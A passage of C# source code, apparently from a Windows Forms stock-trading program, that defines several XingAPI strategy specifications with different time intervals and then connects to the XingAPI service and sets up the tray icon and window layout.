                                    Quantity = "1",
                                    RollOver = 'A',
                                    Time     = 15,
                                    Short    = 4,
                                    Long     = 60
                                },
                                new Catalog.XingAPI.Specify
                                {
                                    Assets   = 90000000,
                                    Code     = Strategy.Retrieve.Code,
                                    Reaction = 500,
                                    Quantity = "1",
                                    RollOver = 'A',
                                    Time     = 30,
                                    Short    = 4,
                                    Long     = 60
                                },
                                new Catalog.XingAPI.Specify
                                {
                                    Assets   = 90000000,
                                    Code     = Strategy.Retrieve.Code,
                                    Reaction = 500,
                                    Quantity = "1",
                                    RollOver = 'A',
                                    Time     = 1440,
                                    Short    = 4,
                                    Long     = 60
                                }
                            };
                        });
                        Task.Start();
                        Xing            = XingAPI.ConnectAPI.GetInstance(initial.Equals(trading) ? Strategy.Retrieve.Code : Open.Code, Strategy.Retrieve.Date);
                        Xing.Send      += OnReceiveNotifyIcon;
                        notifyIcon.Text = string.Concat("Trading Code_", initial.Equals(trading) ? Strategy.Retrieve.Code : Open.Code);
                        OnEventConnect();
                        OnClickMinimized = quo;
                        Text             = gs;
                        Application.DoEvents();
                    }));
                }
                Size = new Size(5, 5);
                break;

            default:
                Open.StartProgress();
                Size = new Size(238, 35);
                break;
            }
            CenterToScreen();
        }